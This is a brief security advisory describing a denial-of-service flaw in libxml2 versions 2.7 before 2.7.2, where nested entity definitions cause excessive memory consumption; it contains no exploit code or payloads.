The libxml2 library is prone to a denial-of-service vulnerability caused by an error when handling files using entities in entity definitions.
|
|
|
|
An attacker can exploit this issue to cause the library to consume an excessive amount of memory, denying service to legitimate users.
|
|
|
|
The issue affects libxml2 2.7 prior to 2.7.2.
